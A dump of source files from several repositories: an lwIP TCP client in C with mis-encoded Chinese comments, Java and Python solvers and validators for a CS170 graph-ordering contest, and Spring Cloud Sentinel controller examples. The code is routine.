LWIP_ASSERT("arg != NULL",arg != NULL);
es=(struct tcp_client_struct *)arg;
if(p==NULL)//ๅฆๆไปๆๅกๅจๆฅๆถๅฐ็ฉบ็ๆฐๆฎๅธงๅฐฑๅ
ณ้ญ่ฟๆฅ
{
es->state=ES_TCPCLIENT_CLOSING;//้่ฆๅ
ณ้ญTCP ่ฟๆฅไบ
es->p=p;
ret_err=ERR_OK;
}
else if(err!= ERR_OK) //ๅฝๆฅๆถๅฐไธไธช้็ฉบ็ๆฐๆฎๅธง,ไฝๆฏerr!=ERR_OK
{
if(p)pbuf_free(p);//้ๆพๆฅๆถpbuf
ret_err=err;
}
else if(es->state==ES_TCPCLIENT_CONNECTED) //ๅฝๅคไบ่ฟๆฅ็ถๆๆถ
{
if(p!=NULL)//ๅฝๅคไบ่ฟๆฅ็ถๆๅนถไธๆฅๆถๅฐ็ๆฐๆฎไธไธบ็ฉบๆถ
{
memset(tcp_client_recvbuf.ucMsgBuf,0,TCP_CLIENT_RX_BUFSIZE); //ๆฐๆฎๆฅๆถ็ผๅฒๅบๆธ
้ถ
for(q=p; q!=NULL; q=q->next) //้ๅๅฎๆดไธชpbuf้พ่กจ
{
//ๅคๆญ่ฆๆท่ดๅฐTCP_CLIENT_RX_BUFSIZEไธญ็ๆฐๆฎๆฏๅฆๅคงไบTCP_CLIENT_RX_BUFSIZE็ๅฉไฝ็ฉบ้ด๏ผๅฆๆๅคงไบ
//็่ฏๅฐฑๅชๆท่ดTCP_CLIENT_RX_BUFSIZEไธญๅฉไฝ้ฟๅบฆ็ๆฐๆฎ๏ผๅฆๅ็่ฏๅฐฑๆท่ดๆๆ็ๆฐๆฎ
if(q->len > (TCP_CLIENT_RX_BUFSIZE-data_len)) memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,(TCP_CLIENT_RX_BUFSIZE-data_len));//ๆท่ดๆฐๆฎ
else memcpy(tcp_client_recvbuf.ucMsgBuf+data_len,q->payload,q->len);
data_len += q->len;
if(data_len > TCP_CLIENT_RX_BUFSIZE) break; //่ถ
ๅบTCPๅฎขๆท็ซฏๆฅๆถๆฐ็ป,่ทณๅบ
}
tcp_client_recvbuf.dwLen = data_len;
tcp_client_flag|=1<<6; //ๆ ่ฎฐๆฅๆถๅฐๆฐๆฎไบ
tcp_recved(tpcb,p->tot_len);//็จไบ่ทๅๆฅๆถๆฐๆฎ,้็ฅLWIPๅฏไปฅ่ทๅๆดๅคๆฐๆฎ
pbuf_free(p); //้ๆพๅ
ๅญ
ret_err=ERR_OK;
}
}
else //ๆฅๆถๅฐๆฐๆฎไฝๆฏ่ฟๆฅๅทฒ็ปๅ
ณ้ญ,
{
tcp_recved(tpcb,p->tot_len);//็จไบ่ทๅๆฅๆถๆฐๆฎ,้็ฅLWIPๅฏไปฅ่ทๅๆดๅคๆฐๆฎ
es->p=NULL;
pbuf_free(p); //้ๆพๅ
ๅญ
ret_err=ERR_OK;
}
return ret_err;
}
//lwIP tcp_errๅฝๆฐ็ๅ่ฐๅฝๆฐ
void tcp_client_error(void *arg,err_t err)
{
//่ฟ้ๆไปฌไธๅไปปไฝๅค็
}
//lwIP tcp_poll็ๅ่ฐๅฝๆฐ
err_t tcp_client_poll(void *arg, struct tcp_pcb *tpcb)
{
err_t ret_err;
struct tcp_client_struct *es;
es=(struct tcp_client_struct*)arg;
if(es!=NULL) //่ฟๆฅๅคไบ็ฉบ้ฒๅฏไปฅๅ้ๆฐๆฎ
{
ReCntLB_TMR(TimerTcpTimout);
if(tcp_client_flag&(1<<7)) //ๅคๆญๆฏๅฆๆๆฐๆฎ่ฆๅ้
{
es->p=pbuf_alloc(PBUF_TRANSPORT, tcp_client_sendbuf.dwLen,PBUF_POOL); //็ณ่ฏทๅ
ๅญ
pbuf_take(es->p,(char*)tcp_client_sendbuf.ucMsgBuf,tcp_client_sendbuf.dwLen); //ๅฐtcp_client_sentbuf[]ไธญ็ๆฐๆฎๆท่ดๅฐes->p_txไธญ
tcp_client_senddata(tpcb,es);//ๅฐtcp_client_sentbuf[]้้ขๅคๅถ็ปpbuf็ๆฐๆฎๅ้ๅบๅป
tcp_client_flag&=~(1<<7); //ๆธ
้คๆฐๆฎๅ้ๆ ๅฟ
bSendBusy = FALSE;
DisLB_TMR(TimerSendTimout);//ๅ
ณ้ญๅ้่ถ
ๆถ
if(es->p)pbuf_free(es->p); //้ๆพๅ
ๅญ
}
else if(es->state==ES_TCPCLIENT_CLOSING)
{
tcp_client_connection_close(tpcb,es);//ๅ
ณ้ญTCP่ฟๆฅ
}
ret_err=ERR_OK;
}
else
{
tcp_abort(tpcb);//็ปๆญข่ฟๆฅ,ๅ ้คpcbๆงๅถๅ
ret_err=ERR_ABRT;
}
return ret_err;
}
//lwIP tcp_sent็ๅ่ฐๅฝๆฐ(ๅฝไป่ฟ็ซฏไธปๆบๆฅๆถๅฐACKไฟกๅทๅๅ้ๆฐๆฎ)
err_t tcp_client_sent(void *arg, struct tcp_pcb *tpcb, u16_t len)
{
struct tcp_client_struct *es;
LWIP_UNUSED_ARG(len);
es=(struct tcp_client_struct*)arg;
if(es->p)tcp_client_senddata(tpcb,es);//ๅ้ๆฐๆฎ
return ERR_OK;
}
//ๆญคๅฝๆฐ็จๆฅๅ้ๆฐๆฎ
void tcp_client_senddata(struct tcp_pcb *tpcb, struct tcp_client_struct * es)
{
struct pbuf *ptr;
err_t wr_err=ERR_OK;
while((wr_err==ERR_OK)&&es->p&&(es->p->len<=tcp_sndbuf(tpcb))) //ๅฐ่ฆๅ้็ๆฐๆฎๅ ๅ
ฅๅฐๅ้็ผๅฒ้ๅไธญ
{
ptr=es->p;
wr_err=tcp_write(tpcb,ptr->payload,ptr->len,1);
if(wr_err==ERR_OK)
{
es->p=ptr->next; //ๆๅไธไธไธชpbuf
if(es->p)pbuf_ref(es->p); //pbuf็refๅ ไธ
pbuf_free(ptr); //้ๆพptr
}
else if(wr_err==ERR_MEM)es->p=ptr;
tcp_output(tpcb); //ๅฐๅ้็ผๅฒ้ๅไธญ็ๆฐๆฎ็ซๅณๅ้ๅบๅป
}
}
//ๅ
ณ้ญไธๆๅกๅจ็่ฟๆฅ
void tcp_client_connection_close(struct tcp_pcb *tpcb, struct tcp_client_struct * es)
{
//็งป้คๅ่ฐ
tcp_abort(tpcb);//็ปๆญข่ฟๆฅ,ๅ ้คpcbๆงๅถๅ
tcp_arg(tpcb,NULL);
tcp_recv(tpcb,NULL);
tcp_sent(tpcb,NULL);
tcp_err(tpcb,NULL);
tcp_poll(tpcb,NULL,0);
if(es)mem_free(es);
tcp_client_flag&=~(1<<5);//ๆ ่ฎฐ่ฟๆฅๆญๅผไบ
}
```
iot_import_config.h
```#ifndef __IOT_IMPORT_CONFIG_H__
#define __IOT_IMPORT_CONFIG_H__
#ifndef CONFIG_HTTP_AUTH_TIMEOUT
#define CONFIG_HTTP_AUTH_TIMEOUT (5 * 1000)
#endif
#ifndef CONFIG_MID_HTTP_TIMEOUT
#define CONFIG_MID_HTTP_TIMEOUT (5 * 1000)
#endif
#ifndef CONFIG_GUIDER_AUTH_TIMEOUT
#define CONFIG_GUIDER_AUTH_TIMEOUT (10 * 1000)
#endif
#ifndef CONFIG_COAP_AUTH_TIMEOUT
#define CONFIG_COAP_AUTH_TIMEOUT (10 * 1000)
#endif
#define IOTX_WITHOUT_TLS //miaoyahan 20180512
#define MQTT_DIRECT //miaoyahan 20180512
#define MQTT_COMM_ENABLED //miaoyahan 20180512
#endif /* __IOT_IMPORT_CONFIG_H__ */
```
tcp_client_demo.h
```/*
***********************************************************************************
*
*ๅ่ฝ๏ผ
*
*
*
*่ฏดๆ๏ผ1.
* 2.
* 3.
*
*
*By :Liubing๏ผๅผๅฟๅฐฑๅฅฝ๏ผ
*Contact :371007204@qq.com
*History :2015/7/1 16:13:05
***********************************************************************************
*/
#ifndef _TCP_CLIENT_DEMO_H_
#define _TCP_CLIENT_DEMO_H_
#include "sys1.h"
#include "lwip/debug.h"
#include "lwip/stats.h"
#include "lwip/tcp.h"
#include "lwip/memp.h"
#include "lwip/mem.h"
#include "lwip_comm.h"
#include "lb_type.h"
#ifdef _TCP_CLIENT_DEMO_C_
#define TCP_CLIENT_DEMO_EXT
#else
#define TCP_CLIENT_DEMO_EXT extern
#endif
#ifdef _TCP_CLIENT_DEMO_C_
#endif
#define MAX_BUFFER_LEN 1024
#define TCP_CLIENT_RX_BUFSIZE MAX_BUFFER_LEN //ๅฎไนtcp clientๆๅคงๆฅๆถๆฐๆฎ้ฟๅบฆ
#define TCP_CLIENT_PORT 80 //ๅฎไนtcp client่ฆ่ฟๆฅ็่ฟ็ซฏ็ซฏๅฃ
//tcpๆๅกๅจ่ฟๆฅ็ถๆ
enum tcp_client_states
{
ES_TCPCLIENT_NONE = 0, //ๆฒกๆ่ฟๆฅ
ES_TCPCLIENT_CONNECTED, //่ฟๆฅๅฐๆๅกๅจไบ
ES_TCPCLIENT_CLOSING, //ๅ
ณ้ญ่ฟๆฅ
};
//LWIPๅ่ฐๅฝๆฐไฝฟ็จ็็ปๆไฝ
struct tcp_client_struct
{
u8 state; //ๅฝๅ่ฟๆฅ็ถ
struct tcp_pcb *pcb; //ๆๅๅฝๅ็pcb
struct pbuf *p; //ๆๅๆฅๆถ/ๆไผ ่พ็pbuf
};
TCP_CLIENT_DEMO_EXT u8 uRemoteIp[4];
TCP_CLIENT_DEMO_EXT BOOL bDnsOk;
TCP_CLIENT_DEMO_EXT void tcp_client_set_remoteip(void);
TCP_CLIENT_DEMO_EXT void tcp_client_test(void);//TCP Clientๆต่ฏๅฝๆฐ
TCP_CLIENT_DEMO_EXT err_t tcp_client_connected(void *arg, struct tcp_pcb *tpcb, err_t err);
TCP_CLIENT_DEMO_EXT err_t tcp_client_recv(void *arg,struct tcp_pcb *tpcb,struct pbuf *p,err_t err);
TCP_CLIENT_DEMO_EXT void tcp_client_error(void *arg,err_t err);
TCP_CLIENT_DEMO_EXT err_t tcp_client_poll(void *arg, struct tcp_pcb *tpcb);
TCP_CLIENT_DEMO_EXT err_t tcp_client_sent(void *arg, struct tcp_pcb *tpcb, u16_t len);
TCP_CLIENT_DEMO_EXT void tcp_client_senddata(struct tcp_pcb *tpcb, struct tcp_client_struct * es);
TCP_CLIENT_DEMO_EXT void tcp_client_connection_close(struct tcp_pcb *tpcb, struct tcp_client_struct * es );
TCP_CLIENT_DEMO_EXT BOOL TcpDataSend(BYTE *buf,WORD len);
TCP_CLIENT_DEMO_EXT BOOL IsSendBusy(void);
TCP_CLIENT_DEMO_EXT void TcpTimout(void);//ไฟไฝฟtcp้่ฟ
#endif
```
|
yxwandroid/AndroidAudioConverter
|
yxwandroid/AndroidAudioConverter
BitRate.java
```package cafe.adriel.androidaudioconverter.model;
public enum BitRate {
def, //Stands for default case
u8,
s16,
s32,
flt,
dbl,
u8p,
s16p,
s32p,
fltp,
dblp;
public String getBitRate() {
return name().toLowerCase();
}
}```
|
yxyang/cs170-fa15-contest
|
yxyang/cs170-fa15-contest
scorer_single.py
```import sys
# assumes files are well formatted
# if you have errors, make sure you double check our input and output format
def main(argv):
if len(argv) != 2:
print "Usage: python scorer_single.py [path_to_instance] [path_to_answer]"
return
print processTest(argv[0], argv[1])
def processTest(inst, sol):
fin = open(inst, "r")
N = int(fin.readline().split()[0])
d = [[0 for j in range(N)] for i in range(N)]
for i in xrange(N):
d[i] = map(int, fin.readline().split())
fin = open(sol, "r")
ans = map(lambda x: (int(x) - 1), fin.readline().split())
count = 0.0
for i in xrange(N):
for j in xrange(i + 1, N):
if d[ans[i]][ans[j]] == 1:
count += 1
return "solution value is %d" % count
if __name__ == '__main__':
main(sys.argv[1:])```
autocommit.sh
```git add --all
git commit -am "update, instance running on Hive26 and Hive11"
git push origin master
```
temp.java
```import java.util.Random;
public class temp {
public static void main(String[] args) {
Random rnd = new Random();
int n = 100;
int[][] g = new int[n][n];
int[] ord = new int[n];
//System.out.println(1);
System.out.println(n);
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
if ((i != j) && (rnd.nextBoolean())) {
g[i][j] = 1;
} else {
g[i][j] = 0;
}
}
ord[i] = i;
}
for (int i = 0; i < n; i++) {
int ind = rnd.nextInt(100);
int t = ord[i];
ord[i] = ord[ind];
ord[ind] = t;
}
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
System.out.print(g[ord[i]][ord[j]] + " ");
}
System.out.println();
}
}
}
```
final_validator.py
```import sys
instanceSizes = [66,100,25,100,10,100,99,100,100,100,100,24,100,100,100,100,
100,27,100,33,100,20,98,21,50,100,100,100,100,100,100,100,100,100,96,100,90,
100,100,100,100,41,100,51,9,100,100,100,100,100,100,100,19,100,100,10,100,100,
100,100,100,100,100,100,100,7,62,100,100,100,100,100,100,100,100,100,100,10,
100,100,100,100,30,10,100,25,100,100,100,100,100,100,20,100,100,100,100,100,
100,100,6,100,18,17,15,100,12,50,57,100,20,100,20,100,100,100,100,10,100,100,
100,100,97,87,100,92,100,88,99,72,100,100,85,100,100,97,100,100,100,99,97,100,
100,20,80,97,63,100,100,100,4,40,17,100,100,100,80,100,100,100,100,100,89,100,
100,97,100,100,4,100,100,100,7,99,99,50,100,96,10,100,100,100,100,72,100,100,
100,100,81,100,93,100,100,100,100,6,100,27,100,100,100,100,100,97,20,100,100,
100,99,100,100,100,100,100,95,100,100,7,100,100,100,100,100,100,100,99,100,100,
100,100,87,100,65,100,99,100,100,100,100,25,100,26,97,72,90,100,100,100,100,
100,100,100,100,100,100,99,7,100,100,40,54,100,100,100,100,100,50,100,100,50,
64,5,100,100,100,100,100,5,23,7,100,100,100,100,100,100,81,100,10,100,20,85,
100,48,9,100,100,99,100,76,100,100,5,100,40,100,100,60,97,100,100,100,100,100,
100,100,100,100,10,100,100,80,23,6,100,100,100,100,4,100,100,10,100,100,100,
100,100,50,2,100,100,100,100,100,100,8,100,100,100,15,100,100,100,100,100,100,
100,6,100,99,100,100,100,100,97,100,97,100,87,100,100,100,100,100,100,100,100,
100,100,100,20,100,14,27,100,100,100,100,100,100,100,100,100,85,100,99,6,100,
40,100,100,100,100,100,90,100,100,100,6,100,100,80,100,70,7,100,100,100,100,9,
8,100,20,100,100,100,91,100,96,100,100,100,100,100,100,100,100,100,100,100,100,
10,60,100,64,100,50,100,100,100,100,100,100,100,100,100,100,100,100,50,100,100,
100,99,100,100,100,73,100,100,85,100,100,100,21,99,100,100,100,100,100,50,100,
100,70,100,50,100,100,100,100,100,97,100,100,100,100,100,100,100,100,100,100,
56,9,100,100,100,100,100,80,100,100,10,100,98,100,100,100,10,100,100,100,90,15,
100,100,100,99,100,97,100,6,100,10,100,100,100,100,100,100,99,10,100,97,100,
100,100,100,100,100,45,100,98,100,50,100,100,100,73,32,100,100,93,32,100,100,
25,8,100,7,100,100,95,100,98,100,100,46,81,100,100,5,100,100,100,100,50,60,40,
85,100,100,20,76,100,100,100,100,100,93,100,100,100,85,100,100,100,9,100,100,
100,6,100,100,100,100,100,60,100,100]
def main(argv):
if len(argv) != 1:
print "Usage: python solutions_validator.py [path_to_input_file]"
return
allPassed = True
lineIndex = 0
with open(argv[0], "r") as f:
for line in f:
if lineIndex >= len(instanceSizes):
print "Extra data at end of file"
return
result = processTest(line.split(), instanceSizes[lineIndex])
if result != "solution ok":
print "Error with test " + str(lineIndex + 1) + ": " + result
allPassed = False
lineIndex += 1
if lineIndex < len(instanceSizes):
print "File terminated early; missing lines"
return
if allPassed:
print "all solution lines ok"
def processTest(line, N):
if len(line) != N:
return "Line must contain " + str(N) + " integers."
b = [False for i in range(N)]
for v in line:
if not v.isdigit():
return "Line must contain " + str(N) + " integers."
vertex = int(v) - 1
if vertex < 0 or vertex >= N:
return "Each integer must be between 1 and " + str(N) + ", inclusive."
if b[vertex]:
return "Each integer in the range 1 to " + str(N) + " must appear exactly once."
b[vertex] = True
if not all(b):
return "Each integer in the range 1 to " + str(N) + " must appear exactly once."
return "solution ok"
if __name__ == '__main__':
main(sys.argv[1:])```
dataPicker.java
```import java.io.File;
import java.io.FileNotFoundException;
import java.util.Scanner;
import java.util.Random;
public class dataPicker {
public static int calc_sum(int[] perm, int[][] g, int n) {
int sum = 0;
for (int x = 0; x < n; x++) {
for (int y = x+1; y < n; y++) {
sum += g[perm[x]][perm[y]];
}
}
return sum;
}
public static void main(String[] args) throws FileNotFoundException {
//Scanner input = new Scanner(System.in);
int num_data = 621;
int num_iter = 2000000;
int tot_score = 0;
String[] file_to_check = new String[]{"./intermediate_results/rand.out",
"./intermediate_results/HassinRubinstein.out"};
Scanner[] scanners = new Scanner[file_to_check.length];
for (int i = 0; i < file_to_check.length; i++) {
scanners[i] = new Scanner(new File(file_to_check[i]));
}
for (int i = 1; i <= num_data; i++) {
File file = new File("./instances/" + i + ".in");
Scanner input = new Scanner(file);
int num_ver = input.nextInt();
int[][] a = new int[num_ver][num_ver];
for (int x = 0; x < num_ver; x++) {
for (int y = 0; y < num_ver; y++) {
a[x][y] = input.nextInt();
}
}
input.close();
int[] bestPerm = new int[num_ver];
int bestSum = calc_sum(bestPerm, a, num_ver);
String bestMethod = "Brute-Force";
for (int j = 0; j < num_ver; j++) bestPerm[j] = i;
for (int j = 0; j < file_to_check.length; j++) {
int[] currPerm = new int[num_ver];
for (int k = 0; k < num_ver; k++) {
currPerm[k] = scanners[j].nextInt() - 1;
}
if (calc_sum(currPerm, a, num_ver) > bestSum) {
bestSum = calc_sum(currPerm, a, num_ver);
bestPerm = currPerm;
bestMethod = file_to_check[j];
}
}
System.out.println("For data " + i + ", the best method is:");
System.out.println(bestMethod);
System.out.println(bestSum);
tot_score += bestSum;
/*for (int j = 0; j < num_ver; j++) {
System.out.print((bestPerm[j] + 1) + " ");
}*/
System.out.println();
}
System.out.println("total score for all instances: " + tot_score);
for (int i = 0; i < file_to_check.length; i++) {
scanners[i].close();
}
}
}
```
search.java
```import java.util.Scanner;
import java.util.Random;
import java.util.HashSet;
import java.io.File;
import java.io.FileNotFoundException;
public class search {
public static int[] shuffle(int[] a, int n, int[][] g) {
int[] ans = new int[n];
Random rnd = new Random();
int l = 0, r = n-1;
int[] ord = new int[n];
for (int i = 0; i < n; i++) {
ord[i] = i;
}
for (int i = ord.length - 1; i > 0; i--)
{
int index = rnd.nextInt(i + 1);
// Simple swap
int temp = ord[index];
ord[index] = ord[i];
ord[i] = temp;
}
int pos = 0;
while (pos < ord.length) {
int x = ord[pos];
int inDegree = 0, outDegree = 0;
for (int i = 0; i < n; i++) {
inDegree += g[i][x];
outDegree += g[x][i];
}
if (inDegree <= outDegree) {
ans[l] = x;
l += 1;
} else {
ans[r] = x;
r -= 1;
}
pos += 1;
}
return ans;
}
public static int[] run(int n, int[][] a, int num_iter) {
int[] ord = new int[n];
for (int i = 0; i < n; i++) {
ord[i] = i;
}
int[] best_ord = null;
int max = -1;
for (int i = 0; i < num_iter; i++) {
ord = shuffle(ord, n, a);
int sum = 0;
for (int x = 0; x < n; x++) {
for (int y = x+1; y < n; y++) {
sum += a[ord[x]][ord[y]];
}
}
if (sum > max) {
max = sum;
best_ord = ord;
}
}
//System.out.println("Max value is: " + max);
return best_ord;
}
public static void main(String[] args) throws FileNotFoundException {
//Scanner input = new Scanner(System.in);
int num_data = 621;
int num_iter = 8000000;
for (int i = 168; i <= num_data; i++) {
File file = new File("./instances/" + i + ".in");
Scanner input = new Scanner(file);
int num_ver = input.nextInt();
int[][] a = new int[num_ver][num_ver];
for (int x = 0; x < num_ver; x++) {
for (int y = 0; y < num_ver; y++) {
a[x][y] = input.nextInt();
}
}
int[] ans = run(num_ver, a, num_iter);
for (int k = 0; k < num_ver; k++) {
System.out.print((1 + ans[k]) + " ");
}
System.out.println();
input.close();
}
//input.close();
}
}
```
SA.java
```import java.io.File;
import java.io.FileNotFoundException;
import java.util.Scanner;
import java.util.Random;
public class SA {
static int tot_edges;
public static int calc_sum(int[] perm, int[][] g, int n) {
/*for (int i = 0; i < n; i++) {
System.out.print(perm[i] + " ");
}
System.out.println();*/
int sum = 0;
for (int x = 0; x < n; x++) {
for (int y = x+1; y < n; y++) {
sum += g[perm[x]][perm[y]];
}
}
return sum;
}
public static int calc_delta(int[] perm, int[][] g, int n, int x, int y) {
/*for (int i = 0; i < n; i++) {
System.out.print(perm[i] + " ");
}
System.out.println();*/
if (x > y) {
int t = x; x = y; y = t;
}
int ans = 0;
for (int i = x + 1; i <= y - 1; i++) {
ans = ans + g[perm[y]][perm[i]] - g[perm[i]][perm[y]] - g[perm[x]][perm[i]] + g[perm[i]][perm[x]];
}
ans = ans + g[perm[y]][perm[x]] - g[perm[x]][perm[y]];
return ans;
}
public static double calc_prob(double temp, int curr_sum, int new_sum) {
if (new_sum > curr_sum) return 1;
double x = (new_sum - curr_sum) * 2;
//temp = Math.sqrt(temp);
double sig = 1 / (1 + Math.exp(-x));
//System.out.println(x);
//System.out.println(sig * temp * 2);
return sig * temp;
}
public static int[] run(int num_ver, int[][] a, int num_iter, int[] ord) {
Random rnd = new Random();
System.out.println("before, Max value is: " + calc_sum(ord, a, num_ver));
int curr_sum = calc_sum(ord, a, num_ver);
for (int i = num_iter; i >= 0; i--) {
int x = rnd.nextInt(num_ver - 1);
int y = rnd.nextInt(num_ver);
while (x == y) {
y = rnd.nextInt(num_ver);
}
int new_sum = calc_delta(ord, a, num_ver, x, y) + curr_sum;
int t = ord[x]; ord[x] = ord[y]; ord[y] = t;
double temp = ((double) i) / ((double) num_iter);
//System.out.println("new: " + new_sum + " old: " + curr_sum);
//System.out.println(x + " " + y);
//System.out.println("prob: " + calc_prob(temp, curr_sum, new_sum));
if (rnd.nextDouble() < calc_prob(temp, curr_sum, new_sum)) {
curr_sum = new_sum;
} else {
t = ord[x]; ord[x] = ord[y]; ord[y] = t;
}
}
System.out.println("After, Max value is: " + curr_sum);
return ord;
}
public static void main(String[] args) throws FileNotFoundException {
//Scanner input = new Scanner(System.in);
int num_data = 621;
int num_iter = 1000000000;
File initF = new File("./ffinal.out");
Scanner init = new Scanner(initF);
Random rnd = new Random();
for (int i = 1; i < Integer.parseInt(args[0]); i++) {
File file = new File("./instances/" + i + ".in");
Scanner input = new Scanner(file);
int num_ver = input.nextInt();
int temp;
for (int x = 0; x < num_ver; x++) {
temp = init.nextInt() - 1;
}
input.close();
}
for (int i = Integer.parseInt(args[0]); i <= Integer.parseInt(args[1]); i++) {
File file = new File("./instances/" + i + ".in");
Scanner input = new Scanner(file);
int num_ver = input.nextInt();
int[][] a = new int[num_ver + 2][num_ver + 2];
tot_edges = 0;
for (int x = 0; x < num_ver; x++) {
for (int y = 0; y < num_ver; y++) {
a[x][y] = input.nextInt();
tot_edges += a[x][y];
}
}
int[] ori = new int[num_ver];
for (int x = 0; x < num_ver; x++) {
ori[x] = init.nextInt() - 1;
}
/*for (int x = 0; x < num_ver; x++) {
int ind = rnd.nextInt(num_ver);
int t = ori[x];
ori[x] = ori[ind];
ori[ind] = t;
}*/
int[] ans = run(num_ver, a, num_iter, ori);
for (int k = 0; k < num_ver; k++) {
System.out.print((1 + ans[k]) + " ");
}
System.out.println();
input.close();
}
init.close();
//input.close();
}
}
```
HassinRubinstein.java
```import java.io.File;
import java.io.FileNotFoundException;
import java.util.Scanner;
import java.util.Random;
public class HassinRubinstein {
public static int[] partition(int[] arr, int n, int[][] g) {
int[] ans = new int[n];
int l = 0, r = n-1, d = -1;
while (l <= r) {
d += 1;
int x = arr[d];
int inDegree = 0, outDegree = 0;
for (int i = 0; i < n; i++) {
inDegree += g[i][x];
outDegree += g[x][i];
}
if (inDegree <= outDegree) {
ans[l] = x;
l += 1;
} else {
ans[r] = x;
r -= 1;
}
}
return ans;
}
public static int calc_sum(int[] perm, int[][] g, int n) {
int sum = 0;
for (int x = 0; x < n; x++) {
for (int y = x+1; y < n; y++) {
sum += g[perm[x]][perm[y]];
}
}
return sum;
}
public static int[] shuffle(int n, int[][] g) {
int[] left = new int[n], right = new int[n];
int l = 0, r = 0;
Random rnd = new Random();
for (int i = 0; i < n; i++) {
if (rnd.nextBoolean()) {
left[l] = i; l++;
} else {
right[r] = i; r++;
}
}
int[] ll = partition(left, l, g);
int[] rr = partition(right, r, g);
int[] ans1 = new int[n], ans2 = new int[n];
for (int i = 0; i < n; i++) {
if (i < l) {
ans1[i] = ll[i];
} else {
ans1[i] = rr[i - l];
}
if (i < r) {
ans2[i] = rr[i];
} else {
ans2[i] = ll[i - r];
}
}
if (calc_sum(ans1, g, n) > calc_sum(ans2, g, n)) {
return ans1;
} else {
return ans2;
}
}
public static int[] run(int n, int[][] a, int num_iter) {
int[] ord = new int[n];
for (int i = 0; i < n; i++) {
ord[i] = i;
}
int[] best_ord = null;
int max = -1;
for (int i = 0; i < num_iter; i++) {
ord = shuffle(n, a);
int sum = calc_sum(ord, a, n);
if (sum > max) {
max = sum;
best_ord = ord;
}
}
//System.out.println("Max value is: " + max);
return best_ord;
}
public static void main(String[] args) throws FileNotFoundException {
//Scanner input = new Scanner(System.in);
int num_data = 621;
int num_iter = 8000000;
for (int i = 168; i <= num_data; i++) {
File file = new File("./instances/" + i + ".in");
Scanner input = new Scanner(file);
int num_ver = input.nextInt();
int[][] a = new int[num_ver][num_ver];
for (int x = 0; x < num_ver; x++) {
for (int y = 0; y < num_ver; y++) {
a[x][y] = input.nextInt();
}
}
int[] ans = run(num_ver, a, num_iter);
for (int k = 0; k < num_ver; k++) {
System.out.print((1 + ans[k]) + " ");
}
System.out.println();
input.close();
}
//input.close();
}
}
```
|
yyanbin/cloud2020
|
yyanbin/cloud2020
CustomerBlockHandler.java
```package com.springcloudalibaba.myhandler;
import com.alibaba.csp.sentinel.slots.block.BlockException;
import com.springcloud.common.CommonResult;
public class CustomerBlockHandler {
public CommonResult handleException(BlockException blockException){
return new CommonResult(444,blockException.getClass().getCanonicalName()+" ๅฎขๆท่ชๅฎไน๏ผglobal--handleException---1");
}
public CommonResult handleException2(BlockException blockException){
return new CommonResult(444,blockException.getClass().getCanonicalName()+" ๅฎขๆท่ชๅฎไน๏ผglobal--handleException----2");
}
}
```
SentinelController.java
```package com.springcloudalibaba.controller;
import com.alibaba.csp.sentinel.annotation.SentinelResource;
import com.alibaba.csp.sentinel.slots.block.BlockException;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import com.springcloudalibaba.myhandler.CustomerBlockHandler;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import java.util.concurrent.TimeUnit;
@RestController
@RequestMapping(produces= MediaType.APPLICATION_JSON_VALUE)
public class SentinelController {
@GetMapping("/testA")
public String testA() {
try {
TimeUnit.MILLISECONDS.sleep(800);
} catch (InterruptedException e) {
e.printStackTrace();
}
return "*********testA";
}
@GetMapping("/testB")
public String testB(){
return "*********testB";
}
@GetMapping("/testD")
public String testD() {
try {
System.out.println("****test***RT");
TimeUnit.MILLISECONDS.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
return "*********testD";
}
@GetMapping("/testHotKey")
@SentinelResource(value = "testHotKey",blockHandler = "deal_testHotKey")
public String testHotKey(@RequestParam(required = false,value = "p1") String p1,
@RequestParam(required = false,value = "p2") String p2){
return "****testHotKey";
}
public String deal_testHotKey(String p1, String p2, BlockException blockException){
return "****deal_testHotKey";
}
@GetMapping(value = "/byResource",produces= MediaType.APPLICATION_JSON_VALUE)
@SentinelResource(value = "byResource",blockHandler = "handleException")
public CommonResult byResource(){
return new CommonResult(200,"aaa",new Payment(20L,"ๅ ้ค"));
}
public CommonResult handleException(BlockException blockException){
return new CommonResult(444,blockException.getClass().getCanonicalName()+" ๆๅกไธๅฏ็จ");
}
@RequestMapping(value = "/byUrl",method= RequestMethod.GET,produces= MediaType.APPLICATION_JSON_VALUE)
@SentinelResource(value = "byUrl")
public CommonResult byUrl(){
return new CommonResult(200,"byUrl",new Payment(20L,"ๆต่ฏ"));
}
@RequestMapping(value = "/byCustomize",method= RequestMethod.GET)
@SentinelResource(value = "byCustomize",blockHandlerClass = CustomerBlockHandler.class,blockHandler = "handleException")
public CommonResult byCustomize(){
return new CommonResult(200,"byCustomize",new Payment(20L,"่ชๅฎไน"));
}
}
```
OrderController.java
```package com.springcloudalibaba.controller;
import com.alibaba.csp.sentinel.annotation.SentinelResource;
import com.alibaba.csp.sentinel.slots.block.BlockException;
import com.springcloud.common.CommonResult;
import com.springcloud.entity.Payment;
import com.springcloudalibaba.feign.PaymentService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.client.RestTemplate;
import javax.annotation.Resource;
@RestController
@RequestMapping(produces = "application/json")
public class OrderController {
@Value("${service-url.nacos-user-service}")
private String serverURL;
@Autowired
private RestTemplate restTemplate;
@Autowired
private PaymentService paymentService;
@GetMapping("order/{id}")
// @SentinelResource(value = "fallback",fallback = "handelFallback")
// @SentinelResource(value = "fallback", blockHandler = "blockHandler")
@SentinelResource(value = "fallback", blockHandler = "blockHandler",fallback = "handelFallback",
exceptionsToIgnore = IllegalArgumentException.class)
public CommonResult<Payment> fallBack(@PathVariable Long id) {
CommonResult<Payment> result = restTemplate.getForObject(serverURL + "/paymentSQL/" + id, CommonResult.class);
if (id == 4) {
throw new IllegalArgumentException("ๅๆฐ้ๆณ");
} else if (result.getData() == null) {
throw new NullPointerException("ๆฒกๆๅฏนๅบ็่ฎฐๅฝ");
}
return result;
}
public CommonResult<Payment> handelFallback(@PathVariable Long id, Throwable throwable) {
Payment payment = new Payment(id, null);
return new CommonResult<>(444, "ๅ
ๅบๅผๅธธ๏ผhandelFallback:" + throwable.getMessage(), payment);
}
